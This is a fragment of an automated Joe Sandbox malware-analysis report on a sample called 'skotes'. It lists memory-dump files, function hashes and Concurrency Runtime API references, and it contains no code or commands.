Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: e0d042ed2406e8e4fffe0d1a7be0c7e120e169d1a1f2a172edad20639e76e823
Instruction ID: 77a5890037be4a11bfb6499588f8796bd2410cc236ea6d4ec3870b5ba38d2e20
Opcode Fuzzy Hash: e0d042ed2406e8e4fffe0d1a7be0c7e120e169d1a1f2a172edad20639e76e823
Instruction Fuzzy Hash: 6FF0F471E40A10ABC705BB68CC17B4E7B76EB07B60F84035CE821672D1EB701A4047D6

Function 051E0B9B Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eeec919db3cb3ed577691bca1c874ded33f9112237e22a5711992ce57076dbcf
Instruction ID: c3c8b6fe36515679822efeb2f50efe6f2e8c5b3eac477b933bc306b8adddebc7
Opcode Fuzzy Hash: eeec919db3cb3ed577691bca1c874ded33f9112237e22a5711992ce57076dbcf
Instruction Fuzzy Hash: 452138AB10C914BEA25AC5415B5CAF677AEF5CB23033288ABF003E7502D3C44A098271

Function 051E0C11 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 912faefd6b60317bef0c8d9d4f4c557ccc7eecfcbd89d3d28dc7c8fc3142cf56
Instruction ID: 0b80f96c41f25c042dc86ae917a055b0b9710f1f6f7422dd759abec05578b474
Opcode Fuzzy Hash: 912faefd6b60317bef0c8d9d4f4c557ccc7eecfcbd89d3d28dc7c8fc3142cf56
Instruction Fuzzy Hash: DC2108AB14C914BDA25AC5415B5CAF677AEF5CB331331886AF403E7502D3D44A4A8271

Function 051E0BC3 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eb3e1976bbab0606519d981a2ab7a16814242789a17cc68dd992e2fe35d93e9
Instruction ID: b6aa0abcd3e2b07ce4008e7562d8ef8492700cbe30069255e9089d4e538867a4
Opcode Fuzzy Hash: 3eb3e1976bbab0606519d981a2ab7a16814242789a17cc68dd992e2fe35d93e9
Instruction Fuzzy Hash: 0F11D2EB10C8147EA166D1816F5CAF667AFE2DA2307318866F403E3502D7C50A495271

Function 051E0C30 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a7603205b3797226b37ea13bbbd5f3a7263e7d473d68ce7d26bf07a36010e2e
Instruction ID: 465a8b7b12d7140673024085c1d9f30fbca805c09fba1490216bb2c5d3d53953
Opcode Fuzzy Hash: 3a7603205b3797226b37ea13bbbd5f3a7263e7d473d68ce7d26bf07a36010e2e
Instruction Fuzzy Hash: CD1102EF10C9147DA15681812F2CAF66BAEF1CB23033188ABF403E6502E3C90A0A5271

Function 051E0BD3 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65c9c7eb02c63cdf89629b84b8e51c7f90697a2f5cc1175cd13b8d7d118bd5ae
Instruction ID: 4d02c5ea18889f0b887eb8e7ba8d1eb106787d25c96cdf8fbf811f45c49cec21
Opcode Fuzzy Hash: 65c9c7eb02c63cdf89629b84b8e51c7f90697a2f5cc1175cd13b8d7d118bd5ae
Instruction Fuzzy Hash: 271106EB14C9147D6156D1812F1CAFA67AFE1CB230332886BF403E7402E7C50A095271

Function 051E0BF7 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a04820a4cdacb259b2d72eb839fa265fcded7540e2dbb29f4f58aae2b6c63645
Instruction ID: 5e41400bef891da5e9c7d6bd652ad48a7891345d942611df9d8148047046d4ab
Opcode Fuzzy Hash: a04820a4cdacb259b2d72eb839fa265fcded7540e2dbb29f4f58aae2b6c63645
Instruction Fuzzy Hash: 451104EB10C9107EA15AC5816F5CAF677EFF6DB23133188ABF403E6502E7C50A4A9271

Function 051E0C45 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fa3c5a6eefdb9481ee830a2d831397ae4e62d7b9fe89a9d4c80f099cc81fb76
Instruction ID: 3fb95b7267420dae115abe35f1818df8ea277f02339cbd1ebe0a22ffff7776c4
Opcode Fuzzy Hash: 7fa3c5a6eefdb9481ee830a2d831397ae4e62d7b9fe89a9d4c80f099cc81fb76
Instruction Fuzzy Hash: C8113BAB10C9146EA26695916B5CAF77BEFF5DB2303318C97F043E7402D3D51A099371

Function 051E0C9C Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f6b6543e2e06e860595824edeb8173a769815b05d12580fe804a3f13fbbca2
Instruction ID: e818ccb84b6b7a02193bfd44e8618031163ee0e789a03bad10f1911335973a84
Opcode Fuzzy Hash: 81f6b6543e2e06e860595824edeb8173a769815b05d12580fe804a3f13fbbca2
Instruction Fuzzy Hash: 09F0ACAB10CB10AFE2A192E1170C1F777EAF95B13132148ABF042D3002D7C91A054371

Function 051E0C85 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2685012971.00000000051E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_51e0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9bfdc8117d18d8b37b3d055fd99cfae7091f06e6d12f68da6f1ab42de2e7ce8
Instruction ID: 2da781d2f3143c9c580771abdc73423fc3d3076cf5fe2b49824e95f0dee1541a
Opcode Fuzzy Hash: a9bfdc8117d18d8b37b3d055fd99cfae7091f06e6d12f68da6f1ab42de2e7ce8
Instruction Fuzzy Hash: C0F097AF10C910AEA1A692D11B1C2F277DEF4AB1313314887F083E2502E7C90E069372

Non-executed Functions

Function 00620E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00620F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00620F62

Part of subcall function 0062265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00622750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00620FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00620FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0062103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 0062106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 006210C1

Strings

(, xrefs: 00620F22

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 207e8b35b0779965bea81c55741582e51af45e5862785b4636fa1c5a5afe492f
Instruction ID: f7f5a550286d9211b2894196a3360b27d62a66d1651b25c0b9daabbe6dfcd4bf
Opcode Fuzzy Hash: 207e8b35b0779965bea81c55741582e51af45e5862785b4636fa1c5a5afe492f
Instruction Fuzzy Hash: 05B17E70A00A25EFDB28CF58E991AB9B7B6FF45300F14816DE906AB341D730AD91CF94

Function 00621602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00622CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00622D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00621614

Part of subcall function 00622E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00622E39
Part of subcall function 00622E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00622EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00621746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 006217A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 006217B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 006217ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 0062180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 0062181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00621823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 0062183B

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: caf3480cb9c0a5eb07271efb9b7d9152a8a58d8fe42a3c9826b87b7ca87063df
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: DC817D71E04A25AFCB18CFA8D5849ADB7F2FF99304B1546ADD445AB701C730AD42CF84

Function 0062EC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0062EC81

Part of subcall function 00628F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00628F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 0062ECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 0062ECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 0062ED0C

Part of subcall function 0062E7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0062E7D7
Part of subcall function 0062E7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0062E86F
Part of subcall function 0062E7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0062E879
Part of subcall function 0062E7AF: Concurrency::location::_Assign.LIBCMT ref: 0062E8AD
Part of subcall function 0062E7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0062E8B5

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
